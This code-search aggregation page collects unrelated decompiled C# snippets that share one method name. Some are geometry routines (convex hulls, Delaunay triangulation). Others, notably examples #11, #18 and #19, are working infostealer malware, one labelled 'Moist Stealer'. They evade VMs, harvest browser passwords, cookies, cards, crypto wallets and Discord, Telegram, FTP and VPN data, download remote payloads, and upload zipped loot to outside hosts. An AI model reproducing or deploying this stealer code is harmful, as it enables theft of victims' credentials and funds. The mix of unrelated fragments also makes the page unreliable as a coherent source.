コード例 #1
0
ファイル: Predicate.cs プロジェクト: 1833183060/autocad-dev
        public static double InCircle2dExact(Point p1, Point p2, Point p3, Point point)
        {
            if (!Class20.bool_0)
            {
                Class20.smethod_0();
            }
            double num   = p1.X - point.X;
            double num2  = p2.X - point.X;
            double num3  = p3.X - point.X;
            double num4  = p1.Y - point.Y;
            double num5  = p2.Y - point.Y;
            double num6  = p3.Y - point.Y;
            double num7  = num2 * num6;
            double num8  = num3 * num5;
            double num9  = num * num + num4 * num4;
            double num10 = num3 * num4;
            double num11 = num * num6;
            double num12 = num2 * num2 + num5 * num5;
            double num13 = num * num5;
            double num14 = num2 * num4;
            double num15 = num3 * num3 + num6 * num6;
            double num16 = num9 * (num7 - num8) + num12 * (num10 - num11) + num15 * (num13 - num14);
            double num17 = (Math.Abs(num7) + Math.Abs(num8)) * num9 + (Math.Abs(num10) + Math.Abs(num11)) * num12 + (Math.Abs(num13) + Math.Abs(num14)) * num15;
            double num18 = Class20.double_5 * num17;

            if (num16 <= num18 && -num16 <= num18)
            {
                return(double.NaN);
            }
            return(num16);
        }
コード例 #2
0
 // Token: 0x060006C8 RID: 1736 RVA: 0x00039058 File Offset: 0x00037258
 private static long smethod_11(string string_0)
 {
     object[] object_ = new object[]
     {
         string_0
     };
     return((long)Class20.smethod_0().method_179(Class20.smethod_1(), "ARoEY@:3Sd", object_));
 }
コード例 #3
0
 // Token: 0x060006C7 RID: 1735 RVA: 0x00039020 File Offset: 0x00037220
 private static void smethod_10(long long_0, byte[] byte_0)
 {
     object[] object_ = new object[]
     {
         long_0,
         byte_0
     };
     Class20.smethod_0().method_93(Class20.smethod_1(), "ARoFt@:3S`", object_);
 }
コード例 #4
0
 // Token: 0x06000073 RID: 115 RVA: 0x000086D0 File Offset: 0x000068D0
 public static Task <GEnum2> smethod_6(string string_1, bool bool_0)
 {
     object[] object_ = new object[]
     {
         string_1,
         bool_0
     };
     return((Task <GEnum2>)Class20.smethod_0().method_179(Class20.smethod_1(), "ARoG\\@:3Sg", object_));
 }
コード例 #5
0
        public void ComputeHull()
        {
            if (this.pointSet_0 == null)
            {
                throw new InvalidOperationException("Can not compute convex hull: no point set defined.");
            }
            if (this.pointSet_0.Count < 3)
            {
                throw new IndexOutOfRangeException("Can not compute 2d convex hull for less than three points.");
            }
            if (!Class20.bool_0)
            {
                Class20.smethod_0();
            }
            this.pointSet_0.Sort(PointSet.SortOrder.XYZ);
            List <Point> list = new List <Point>();

            list.Add(this.pointSet_0[0]);
            list.Add(this.pointSet_0[1]);
            for (int i = 2; i < this.pointSet_0.Count; i++)
            {
                list.Add(this.pointSet_0[i]);
                int num = list.Count;
                while (num > 2 && this.method_1(list[num - 3], list[num - 2], list[num - 1]))
                {
                    list.RemoveAt(num - 2);
                    num--;
                }
            }
            List <Point> list2 = new List <Point>();

            list2.Add(this.pointSet_0[this.pointSet_0.Count - 1]);
            list2.Add(this.pointSet_0[this.pointSet_0.Count - 2]);
            for (int j = this.pointSet_0.Count - 3; j >= 0; j--)
            {
                list2.Add(this.pointSet_0[j]);
                int num2 = list2.Count;
                while (num2 > 2 && this.method_1(list2[num2 - 3], list2[num2 - 2], list2[num2 - 1]))
                {
                    list2.RemoveAt(num2 - 2);
                    num2--;
                }
            }
            list2.RemoveAt(0);
            list2.RemoveAt(list2.Count - 1);
            this.pointSet_1 = new PointSet();
            for (int k = 0; k < list.Count; k++)
            {
                this.pointSet_1.Add(list[k]);
            }
            for (int l = 0; l < list2.Count; l++)
            {
                this.pointSet_1.Add(list2[l]);
            }
            this.method_2();
        }
コード例 #6
0
 // Token: 0x060006C6 RID: 1734 RVA: 0x00038FD8 File Offset: 0x000371D8
 private static void smethod_9(long long_0, byte[] byte_0, int int_0, int int_1)
 {
     object[] object_ = new object[]
     {
         long_0,
         byte_0,
         int_0,
         int_1
     };
     Class20.smethod_0().method_93(Class20.smethod_1(), "ARoE[@:3S\\", object_);
 }
コード例 #7
0
        public void ComputeHull()
        {
            if (this.pointSet_0 == null)
            {
                throw new InvalidOperationException("Can not compute convex hull: no point set defined.");
            }
            if (this.pointSet_0.Count < 4)
            {
                throw new ArgumentException("Can not compute 3d convex hull for less than four points.");
            }
            if (!Class20.bool_0)
            {
                Class20.smethod_0();
            }
            Class21 @class = new Class21(this);

            this.method_1(@class.method_2().GetRange(0, @class.method_2().Count - 4), ref @class);
            this.list_0 = new List <Triangle>();
            for (int i = 0; i < @class.method_0().Count; i++)
            {
                try
                {
                    if (@class.method_0()[i].method_0())
                    {
                        this.list_0.Add(@class.method_0()[i].method_16());
                    }
                }
                catch (System.Exception ex)
                {
                    this.int_0++;
                }
            }
            this.pointSet_1 = new PointSet();
            for (int j = 0; j < @class.method_2().Count; j++)
            {
                if (@class.method_2()[j].method_4())
                {
                    this.pointSet_1.Add(@class.method_2()[j].method_0());
                }
            }
        }
コード例 #8
0
ファイル: Predicate.cs プロジェクト: 1833183060/autocad-dev
        public static double Orient2d_exact(Point pa, Point pb, Point point)
        {
            if (!Class20.bool_0)
            {
                Class20.smethod_0();
            }
            double num  = (pa.X - point.X) * (pb.Y - point.Y);
            double num2 = (pa.Y - point.Y) * (pb.X - point.X);
            double num3 = num - num2;
            double num4;

            if (num > 0.0)
            {
                if (num2 <= 0.0)
                {
                    return(num3);
                }
                num4 = num + num2;
            }
            else
            {
                if (num >= 0.0)
                {
                    return(num3);
                }
                if (num2 >= 0.0)
                {
                    return(num3);
                }
                num4 = -num - num2;
            }
            double num5 = Class20.double_2 * num4;

            if (num3 < num5 && -num3 < num5)
            {
                return(Class19.smethod_0(pa, pb, point, num4));
            }
            return(num3);
        }
コード例 #9
0
    // Token: 0x060000FA RID: 250 RVA: 0x0000D1BC File Offset: 0x0000B3BC
    public static void smethod_1(Bitmap bitmap_0, int int_0, int int_1, string string_0)
    {
        GClass3.smethod_0("Starting captcha OCR service", "OCR");
        int     width   = bitmap_0.Width;
        int     height  = bitmap_0.Height;
        int     num     = 1;
        JObject jobject = new JObject();

        for (int i = 0; i < height; i += height / int_0)
        {
            for (int j = 0; j < width; j += width / int_1)
            {
                Class20.smethod_3(Class20.smethod_0(j, i, width / int_1, height / int_0, bitmap_0), num, jobject, string_0);
                num++;
            }
        }
        while (jobject.Count != num - 1)
        {
            Thread.Sleep(200);
        }
        GClass3.smethod_0("OCR completed, attempting to solve captcha", "OCR");
        Console.WriteLine(jobject.ToString());
    }
コード例 #10
0
ファイル: Class20.cs プロジェクト: hk1722/CyberAIO-1
    // Token: 0x060000FA RID: 250 RVA: 0x0000E1E4 File Offset: 0x0000C3E4
    public static void smethod_1(Bitmap bitmap_0, int int_0, int int_1, string string_0)
    {
        GClass3.smethod_0(Class185.smethod_0(537704068), Class185.smethod_0(537704074));
        int     width   = bitmap_0.Width;
        int     height  = bitmap_0.Height;
        int     num     = 1;
        JObject jobject = new JObject();

        for (int i = 0; i < height; i += height / int_0)
        {
            for (int j = 0; j < width; j += width / int_1)
            {
                Class20.smethod_3(Class20.smethod_0(j, i, width / int_1, height / int_0, bitmap_0), num, jobject, string_0);
                num++;
            }
        }
        while (jobject.Count != num - 1)
        {
            Thread.Sleep(200);
        }
        GClass3.smethod_0(Class185.smethod_0(537704103), Class185.smethod_0(537704074));
        Console.WriteLine(jobject.ToString());
    }
コード例 #11
0
        private static void Main(string[] args)
        {
            if (File.Exists(Program.path2))
            {
                Environment.Exit(0);
            }
            if (Program.GetCheckVMBot())
            {
                Environment.Exit(0);
            }
            StreamWriter streamWriter = new StreamWriter("C:\\ProgramData\\debug.txt", true);

            Directory.CreateDirectory(Program.path);
            streamWriter.WriteLine("Created directory");
            Class4.SaveScreen(Program.path + "\\image.png");
            streamWriter.WriteLine("SaveScreen");
            streamWriter.WriteLine("[Browsers Started]");
            streamWriter.Close();
            try
            {
                Class18.smethod_2();
                Class20.smethod_0();
                Class26.smethod_0();
                Class18.Cookies();
                Class30.smethod_9();
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.ToString());
            }
            try
            {
                Class2.smethod_0(Program.path + "\\Browsers");
            }
            catch (Exception ex2)
            {
                Console.WriteLine(ex2.ToString());
            }
            try
            {
                List <Account> list = Chromium.Grab();
                foreach (Account account in list)
                {
                    File.WriteAllText(Program.path + "\\Browsers\\PasswordsChromium.txt", string.Concat(new string[]
                    {
                        "Url: ",
                        account.URL,
                        "\nUsername: "******"\nPassword: "******"\nApplication: ",
                        account.Application,
                        "\n"
                    }));
                }
            }
            catch (Exception ex3)
            {
                Console.WriteLine(ex3.ToString());
            }
            streamWriter = new StreamWriter("C:\\ProgramData\\debug.txt", true);
            streamWriter.WriteLine("[Browser End]");
            Class4.Discord(Program.path + "\\Discord");
            streamWriter.WriteLine("Discord");
            Class4.FileZilla(Program.path + "\\FileZilla");
            streamWriter.WriteLine("FileZilla");
            Class4.Telegram(Program.path + "\\Telegram");
            streamWriter.WriteLine("Telegram");
            Class4.Steam(Program.path + "\\Steam");
            streamWriter.WriteLine("Steam");
            Class4.smethod_3(Program.path + "\\Wallets");
            streamWriter.WriteLine("Wallets");
            Class4.Pidgin(Program.path + "\\Pidgin");
            streamWriter.WriteLine("Pidgin");
            try
            {
                using (WebClient webClient = new WebClient())
                {
                    byte[] bytes = webClient.DownloadData("http://fuckingav.xyz/antivirus.php");
                    Program.geo = Encoding.ASCII.GetString(bytes);
                }
            }
            catch
            {
                Program.geo = "Unknown?Unknown?Unknown?UN";
            }
            streamWriter.WriteLine("Geo");
            Class4.smethod_0(Program.path + "\\info.txt");
            try
            {
                string text = string.Concat(new string[]
                {
                    Program.string_1,
                    "\\[",
                    Program.geo.Split(new char[]
                    {
                        '?'
                    })[3],
                    "]",
                    Program.geo.Split(new char[]
                    {
                        '?'
                    })[0],
                    ".zip"
                });
                Class6.smethod_3(Program.path, text);
                Class6.smethod_4(text, Program.id, "[" + Program.geo.Split(new char[]
                {
                    '?'
                })[3] + "]" + Program.geo.Split(new char[]
                {
                    '?'
                })[0]);
                Directory.Delete(Program.path, true);
                Directory.Delete(Program.string_1, true);
            }
            catch (Exception ex4)
            {
                Console.WriteLine(ex4.ToString());
            }
        }
コード例 #12
0
 // Token: 0x060006BD RID: 1725 RVA: 0x00005D95 File Offset: 0x00003F95
 private static Stream smethod_0()
 {
     return((Stream)Class20.smethod_0().method_179(Class20.smethod_1(), "ARoF5@:3SR", null));
 }
コード例 #13
0
 // Token: 0x060006C0 RID: 1728 RVA: 0x00005DEE File Offset: 0x00003FEE
 private static byte[] smethod_3()
 {
     return((byte[])Class20.smethod_0().method_179(Class20.smethod_1(), "ARoH&@:3SW", null));
 }
コード例 #14
0
    internal void method_5(ConvexHull3d convexHull3d_0)
    {
        PointSet initialPoints = convexHull3d_0.InitialPoints;

        if (initialPoints == null)
        {
            throw new InvalidOperationException("Can not compute convex hull: no point set defined.");
        }
        if (initialPoints.Count < 4)
        {
            throw new ArgumentException("Can not compute 3d convex hull for less than four points.");
        }
        if (!Class20.bool_0)
        {
            Class20.smethod_0();
        }
        PointSet pointSet = initialPoints.DeepCopy();

        pointSet.RandomPermute();
        Point center = pointSet.Center;

        int[] array = new int[4];
        array[0] = 0;
        Point point = pointSet[array[0]];

        array[1] = 1;
        Point point2 = pointSet[array[1]];

        while (Math.Abs(Predicate.Orient2d_exact(point, point2, center)) < 1E-07 | point2 == point)
        {
            array[1]++;
            if (array[1] > pointSet.Count - 1)
            {
                throw new ArithmeticException("Failed compute 3d convex hull: need at least four non-coplanar points.");
            }
            point2 = pointSet[array[1]];
        }
        array[2] = 1;
        Point point3 = pointSet[array[2]];

        while (Predicate.Orient3d_exact(point, point2, point3, center) < 1E-06 | point3 == point | point3 == point2)
        {
            array[2]++;
            if (array[2] > pointSet.Count - 1)
            {
                throw new ArithmeticException("Failed compute 3d convex hull: need at least four non-coplanar points.");
            }
            point3 = pointSet[array[2]];
        }
        array[3] = 1;
        Point point4 = pointSet[array[3]];

        while (Predicate.Orient3d_exact(point, point2, point3, point4) < 1E-06 | point4 == point | point4 == point2 | point4 == point3)
        {
            array[3]++;
            if (array[3] > pointSet.Count - 1)
            {
                throw new ArithmeticException("Failed compute 3d convex hull: need at least four non-coplanar points.");
            }
            point4 = pointSet[array[3]];
        }
        List <int> list = new List <int>();

        list.AddRange(array);
        list.Sort();
        pointSet.RemoveAt(list[3]);
        pointSet.RemoveAt(list[2]);
        pointSet.RemoveAt(list[1]);
        pointSet.RemoveAt(list[0]);
        Class25 @class = new Class25(point);
        Class25 class2 = new Class25(point2);
        Class25 class3 = new Class25(point3);
        Class25 class4 = new Class25(point4);

        @class.method_5(true);
        class2.method_5(true);
        class3.method_5(true);
        class4.method_5(true);
        this.list_1.Add(new Class13(@class, class2, class3));
        this.list_1.Add(new Class13(@class, class4, class2));
        this.list_1.Add(new Class13(@class, class3, class4));
        this.list_1.Add(new Class13(class3, class2, class4));
        this.list_1[0].method_8()[0] = this.list_1[3];
        this.list_1[0].method_8()[1] = this.list_1[2];
        this.list_1[0].method_8()[2] = this.list_1[1];
        this.list_1[1].method_8()[0] = this.list_1[3];
        this.list_1[1].method_8()[1] = this.list_1[0];
        this.list_1[1].method_8()[2] = this.list_1[2];
        this.list_1[2].method_8()[0] = this.list_1[3];
        this.list_1[2].method_8()[1] = this.list_1[1];
        this.list_1[2].method_8()[2] = this.list_1[0];
        this.list_1[3].method_8()[0] = this.list_1[1];
        this.list_1[3].method_8()[1] = this.list_1[2];
        this.list_1[3].method_8()[2] = this.list_1[0];
        for (int i = 0; i < pointSet.Count; i++)
        {
            this.list_0.Add(new Class25(pointSet[i]));
        }
        this.list_0.Add(@class);
        this.list_0.Add(class2);
        this.list_0.Add(class3);
        this.list_0.Add(class4);
        for (int j = 0; j < this.list_0.Count; j++)
        {
            convexHull3d_0.vmethod_0(null, null);
            for (int k = 0; k < this.list_1.Count; k++)
            {
                if (this.list_1[k].method_15(this.list_0[j]))
                {
                    this.list_1[k].method_10().Add(this.list_0[j]);
                    this.list_0[j].method_2().Add(this.list_1[k]);
                }
            }
        }
    }
コード例 #15
0
 // Token: 0x060006C5 RID: 1733 RVA: 0x00005E2B File Offset: 0x0000402B
 private static Class152 smethod_8()
 {
     return((Class152)Class20.smethod_0().method_179(Class20.smethod_1(), "ARoHR@:3SU", null));
 }
コード例 #16
0
ファイル: Class19.cs プロジェクト: 1833183060/autocad-dev
 public Class19()
 {
     //System.ComponentModel.LicenseManager.Validate(typeof(Class19));
     //base..ctor();
     Class20.smethod_0();
 }
コード例 #17
0
 public void Triangulate()
 {
     if (this.pointSet_0 == null)
     {
         throw new InvalidOperationException("No point set to triangulate.");
     }
     if (this.pointSet_0.Count < 3)
     {
         throw new IndexOutOfRangeException("Can not triangulate less than three vertices");
     }
     this.class15_0 = null;
     this.list_0    = new List <DelaunayTriangulation2d.Class15>();
     this.list_1    = new List <Point>();
     this.pointSet_0.RandomPermute();
     if (!Class20.bool_0)
     {
         Class20.smethod_0();
     }
     this.class24_0 = this.getBoundaryPoint(this.pointSet_0);
     this.class15_0 = new DelaunayTriangulation2d.Class15(this.class24_0);
     for (int i = 0; i < this.pointSet_0.Count; i++)
     {
         this.vmethod_0(this.pointSet_0[i], new DelaunayTriangulation2d.PointInsertionEventArg(i, this.pointSet_0.Count, true));
         Point point = this.pointSet_0[i];
         DelaunayTriangulation2d.Class15 @class = this.method_6(this.class15_0, point);
         if (@class.method_2())
         {
             this.list_1.Add(point);
         }
         else if (Predicate.InTriangle2dExact(@class.method_12().getPoint0(), @class.method_12().getPoint1(), @class.method_12().getPoint2(), point) == 0.0)
         {
             DelaunayTriangulation2d.Class15 class2;
             if (Predicate.Orient2d_exact(@class.method_12().getPoint0(), @class.method_12().getPoint1(), point) == 0.0)
             {
                 class2 = @class.method_10();
             }
             else if (Predicate.Orient2d_exact(@class.method_12().getPoint1(), @class.method_12().getPoint2(), point) == 0.0)
             {
                 class2 = @class.method_6();
             }
             else
             {
                 class2 = @class.method_8();
             }
             this.method_5(@class, class2);
             DelaunayTriangulation2d.Class15 class3 = new DelaunayTriangulation2d.Class15(new Class24(@class.method_12().getPoint2(), @class.method_12().getPoint0(), point));
             DelaunayTriangulation2d.Class15 class4 = new DelaunayTriangulation2d.Class15(new Class24(@class.method_12().getPoint1(), @class.method_12().getPoint2(), point));
             DelaunayTriangulation2d.Class15 class5 = new DelaunayTriangulation2d.Class15(new Class24(@class.method_10().method_12().getPoint2(), @class.method_10().method_12().getPoint0(), point));
             DelaunayTriangulation2d.Class15 class6 = new DelaunayTriangulation2d.Class15(new Class24(@class.method_10().method_12().getPoint1(), @class.method_10().method_12().getPoint2(), point));
             class3.method_7(class6);
             class3.method_9(class4);
             class3.method_11(@class.method_8());
             class4.method_7(class3);
             class4.method_9(class5);
             class4.method_11(@class.method_6());
             class5.method_7(class4);
             class5.method_9(class6);
             class5.method_11(class2.method_8());
             class6.method_7(class5);
             class6.method_9(class3);
             class6.method_11(class2.method_6());
             this.method_4(class3, @class.method_8());
             this.method_4(class4, @class.method_6());
             this.method_4(class5, class2.method_8());
             this.method_4(class6, class2.method_6());
             this.method_7(class3, @class);
             this.method_7(class4, @class);
             this.method_7(class5, class2);
             this.method_7(class6, class2);
             this.list_0.Add(class3);
             this.list_0.Add(class4);
             this.list_0.Add(class5);
             this.list_0.Add(class6);
             this.method_2(point, class3, class3.method_10());
             this.method_2(point, class4, class4.method_10());
             this.method_2(point, class5, class5.method_10());
             this.method_2(point, class6, class6.method_10());
         }
         else
         {
             DelaunayTriangulation2d.Class15 class7 = new DelaunayTriangulation2d.Class15(new Class24(@class.method_12().getPoint0(), @class.method_12().getPoint1(), point));
             DelaunayTriangulation2d.Class15 class8 = new DelaunayTriangulation2d.Class15(new Class24(@class.method_12().getPoint1(), @class.method_12().getPoint2(), point));
             DelaunayTriangulation2d.Class15 class9 = new DelaunayTriangulation2d.Class15(new Class24(@class.method_12().getPoint2(), @class.method_12().getPoint0(), point));
             class7.method_7(class8);
             class7.method_9(class9);
             class7.method_11(@class.method_10());
             class8.method_7(class9);
             class8.method_9(class7);
             class8.method_11(@class.method_6());
             class9.method_7(class7);
             class9.method_9(class8);
             class9.method_11(@class.method_8());
             this.method_4(class7, @class.method_10());
             this.method_4(class8, @class.method_6());
             this.method_4(class9, @class.method_8());
             this.method_7(class7, @class);
             this.method_7(class8, @class);
             this.method_7(class9, @class);
             this.list_0.Add(class7);
             this.list_0.Add(class8);
             this.list_0.Add(class9);
             this.method_2(point, class7, class7.method_10());
             this.method_2(point, class8, class8.method_10());
             this.method_2(point, class9, class9.method_10());
         }
     }
 }
コード例 #18
0
        // Token: 0x06000131 RID: 305 RVA: 0x0000A8D0 File Offset: 0x00008AD0
        private static void Main(string[] args)
        {
            Class9.smethod_0();
            Class9.smethod_1();
            Class9.smethod_2();
            string string_ = "ʰʷˉ˞˜ʷ˩˾ʰ˼ʷʰ˞ˉ˜ʷʰʷʷ˼ʰʷ˜ʰʷ˜ʰ˒ʷ˜ʰʰʰʨʷʰʷʰʷʰʨʷʰʷʰ˿˜˾˩˼ˣ˯˳˃˞˜ˏ˓˃˯˳˼ˣʩʩʩʷʷʷʷ";

            byte[] byte_   = Class8.smethod_0("687474703a2f2f67616d656670736275737465722e7275");
            byte[] bytes   = Encoding.Default.GetBytes(Class11.smethod_2(string_));
            string @string = Encoding.Default.GetString(Class11.smethod_0(bytes, byte_));

            byte[] bytes2 = Encoding.Default.GetBytes(@string);
            GClass9.smethod_0();
            Class23.smethod_5(Class23.string_0);
            GClass9.smethod_1();
            string[] array = new StreamReader(WebRequest.Create(Encoding.Default.GetString(Class11.smethod_0(bytes, bytes2))).GetResponse().GetResponseStream()).ReadToEnd().Split(new char[]
            {
                ','
            });
            bool flag   = false;
            bool flag2  = false;
            bool flag3  = false;
            bool flag4  = false;
            bool flag5  = false;
            bool flag6  = false;
            bool flag7  = false;
            bool flag8  = false;
            bool flag9  = false;
            bool flag10 = false;
            bool flag11 = false;

            if (array[12] == "1")
            {
                flag8 = true;
            }
            if (!flag8)
            {
                Class12.smethod_5();
            }
            if (array[0] == "1")
            {
                flag = true;
            }
            if (array[1] == "1")
            {
                flag4 = true;
            }
            if (array[2] == "1")
            {
                flag5 = true;
            }
            if (array[3] == "1")
            {
                flag11 = true;
            }
            if (array[4] == "1")
            {
                flag2 = true;
            }
            if (array[5] == "1")
            {
                flag6 = true;
            }
            if (array[6] == "1")
            {
                flag10 = true;
            }
            if (array[7] == "1")
            {
                flag3 = true;
            }
            if (array[10] == "1")
            {
                flag9 = true;
            }
            if (array[11].StartsWith("http"))
            {
                flag7 = true;
            }
            if (flag7)
            {
                string text     = array[11];
                string fileName = Path.GetFileName(text);
                Class20.smethod_0(text, fileName);
            }
            if (flag)
            {
                Class13.smethod_3();
                Class21.smethod_0();
            }
            if (flag5)
            {
                Class18.smethod_0();
            }
            if (flag7)
            {
                string text2     = array[11];
                string fileName2 = Path.GetFileName(text2);
                Class20.smethod_0(text2, fileName2);
            }
            if (flag2)
            {
                Class17.smethod_10();
            }
            if (flag6)
            {
                Class17.smethod_6();
            }
            if (flag4)
            {
                Class15.smethod_0();
                Class13.smethod_2();
                Class25.smethod_9();
            }
            if (flag11)
            {
                Class17.smethod_5(GClass9.string_2);
            }
            if (flag3)
            {
                foreach (string item in array[8].Split(new char[]
                {
                    ':'
                }))
                {
                    Class17.list_0.Add(item);
                }
                Class17.int_0  = Convert.ToInt32(array[9]);
                Class17.int_0 *= 1024;
                Class17.smethod_8();
            }
            if (flag10)
            {
                Class17.smethod_9();
            }
            Class17.smethod_11();
            Class17.smethod_7();
            Class23.smethod_0();
            Class12.smethod_11();
            Class12.smethod_9();
            Class12.smethod_10();
            Class23.smethod_1();
            Class12.smethod_6();
            string string_2 = GClass9.string_0 + "\\" + Class23.string_0 + ".zip";

            try
            {
                Class27.smethod_0();
                Class27.smethod_1(Encoding.Default.GetString(Class11.smethod_0(bytes, bytes2)), string_2, "logs", "zip", Class27.nameValueCollection_0);
            }
            catch
            {
            }
            if (flag9)
            {
                Class12.smethod_7();
            }
            Class12.smethod_8();
            Directory.Delete(GClass9.string_6);
        }
コード例 #19
0
ファイル: Stealer.cs プロジェクト: x1234xx/MoistStealer
 public static void GetStealer()
 {
     try
     {
         Directory.CreateDirectory(Help.Moist_Dir);
         Directory.CreateDirectory(Help.Browsers);
         Directory.CreateDirectory(Help.Passwords);
         Directory.CreateDirectory(Help.Autofills);
         Directory.CreateDirectory(Help.Downloads);
         Directory.CreateDirectory(Help.Cookies);
         Directory.CreateDirectory(Help.History);
         Directory.CreateDirectory(Help.Cards);
         File.SetAttributes(Help.dir, FileAttributes.Hidden | FileAttributes.System | FileAttributes.Directory);
         GetFiles.Inizialize(Help.Moist_Dir);
         Thread.Sleep(new Random(Environment.TickCount).Next(10000, 20000));
         try
         {
             Class4.smethod_0(Help.Cookies);
         }
         catch
         {
         }
         try
         {
             Class4.PlqfdbrYf(Help.Passwords);
         }
         catch
         {
         }
         try
         {
             Class4.smethod_2(Help.Autofills);
         }
         catch
         {
         }
         try
         {
             Class4.smethod_3(Help.Downloads);
         }
         catch
         {
         }
         try
         {
             Class4.smethod_4(Help.History);
         }
         catch
         {
         }
         try
         {
             Class4.smethod_1(Help.Cards);
         }
         catch
         {
         }
         try
         {
             Class12.smethod_2();
         }
         catch
         {
         }
         try
         {
             Class12.smethod_3();
         }
         catch
         {
         }
         try
         {
             Class25.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class15.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class24.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class23.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class20.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             TGrabber.Start(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class14.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class21.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class13.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class22.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class16.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class17.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             Class37.smethod_0(Help.Moist_Dir);
         }
         catch
         {
         }
         try
         {
             DomainDetect.Start(Help.Browsers);
         }
         catch
         {
         }
         string text = string.Concat(new string[]
         {
             Help.dir,
             "\\",
             Help.HWID,
             Help.smethod_0(),
             ".zip"
         });
         using (ZipFile zipFile = new ZipFile(Encoding.GetEncoding("cp866")))
         {
             zipFile.CompressionLevel = 9;
             zipFile.Comment          = string.Concat(new string[]
             {
                 "Moist Stealer. Build 1.1\n<---------------------------------------->\nPC:",
                 Environment.MachineName,
                 "/",
                 Environment.UserName,
                 "\nIP: ",
                 Help.IP,
                 Help.Country(),
                 "\nHWID: ",
                 Help.HWID
             });
             zipFile.AddDirectory(Help.Moist_Dir ?? "");
             zipFile.Save(text ?? "");
         }
         string text2 = text ?? "";
         byte[] file  = File.ReadAllBytes(text2);
         string url   = string.Concat(new string[]
         {
             Help.ApiUrl,
             "?id=",
             Class1.string_0,
             "&caption=",
             "⚡️ Moist Stealer Gate detected new log! ⚡️\n",
             "\ud83d\udd25 User: "******"/",
             Environment.UserName,
             " \ud83d\udd25\n",
             "\ud83c\udf0d IP: " + Help.IP,
             " ",
             Help.Country(),
             "\n\n",
             string.Concat(new string[]
             {
                 "\n\ud83c\udf10 Browsers Data\nPasswords: ",
                 (Class4.int_0 + Class10.int_0 + Class12.EeFrnHmbxo).ToString(),
                 "\nCookies: ",
                 (Class4.int_3 + Class12.int_0).ToString(),
                 "\nHistory: ",
                 Class4.int_4.ToString(),
                 "\nAutofill: ",
                 Class4.int_1.ToString(),
                 "\nCC:  ",
                 Class4.int_5.ToString(),
                 "\n"
             }),
             string.Concat(new string[]
             {
                 "\n\ud83d\udcb6 Wallets: ",
                 (Class37.int_0 > 0) ? "Yes" : "No",
                 (Class31.int_0 > 0) ? " Electrum" : "",
                 (Class26.int_0 > 0) ? " Armory" : "",
                 (Class27.int_0 > 0) ? " Atomic" : "",
                 (Class28.int_0 > 0) ? " BitcoinCore" : "",
                 (Class29.int_0 > 0) ? " Bytecoin" : "",
                 (Class30.int_0 > 0) ? " DashCore" : "",
                 (Class32.int_0 > 0) ? " Ethereum" : "",
                 (Class33.int_0 > 0) ? " Exodus" : "",
                 (Class35.int_0 > 0) ? " LitecoinCore" : "",
                 (Class36.int_0 > 0) ? " Monero" : "",
                 (Class38.int_0 > 0) ? " Zcash" : "",
                 (Class34.int_0 > 0) ? " Jaxx" : "",
                 "\n\n\ud83e\uddf2 Grabbed files: ",
                 GetFiles.count.ToString(),
                 "\n\ud83d\udcac Discord: ",
                 (Class14.int_0 > 0) ? "Yes" : "No",
                 "\n\ud83d\udee9 Telegram: ",
                 (TGrabber.count > 0) ? "Yes" : "No",
                 "\n\ud83d\udca1 Jabber: ",
                 (Class20.int_0 + Class18.int_0 > 0) ? "Yes" : "No",
                 (Class18.int_0 > 0) ? (" Pidgin (" + Class18.uGwrzbZsuw.ToString() + ")") : "",
                 (Class20.int_0 > 0) ? " Psi" : "",
                 "\n\n\ud83d\udce1 FTP\nFileZilla: ",
                 (Class16.int_0 > 0) ? ("Yes (" + Class16.int_0.ToString() + ")") : "No",
                 "\nTotalCmd: ",
                 (Class17.int_0 > 0) ? "Yes" : "No",
                 "\n\n⚖️ VPN\nNordVPN: ",
                 (Class23.int_0 > 0) ? "Yes" : "No",
                 "\nOpenVPN: ",
                 (Class24.int_0 > 0) ? "Yes" : "No",
                 "\nProtonVPN: ",
                 (Class25.int_0 > 0) ? "Yes" : "No",
                 "\n\nHWID: ",
                 Help.HWID,
                 "\n⚙️ ",
                 Class22.smethod_4(),
                 "\n\ud83d\udd0e Domain detect",
                 File.ReadAllText(Help.Browsers + "\\DomainDetect.txt")
             })
         });
         SenderAPI.POST(file, text2, "application/x-ms-dos-executable", url);
         Directory.Delete(Help.dir + "\\", true);
         File.AppendAllText(Help.LocalData + "\\" + Help.HWID, Help.HWID);
     }
     catch
     {
     }
 }
コード例 #20
0
 // Token: 0x060006BE RID: 1726 RVA: 0x00005DB1 File Offset: 0x00003FB1
 private static int smethod_1()
 {
     return((int)Class20.smethod_0().method_179(Class20.smethod_1(), "ARoFq@:3SW", null));
 }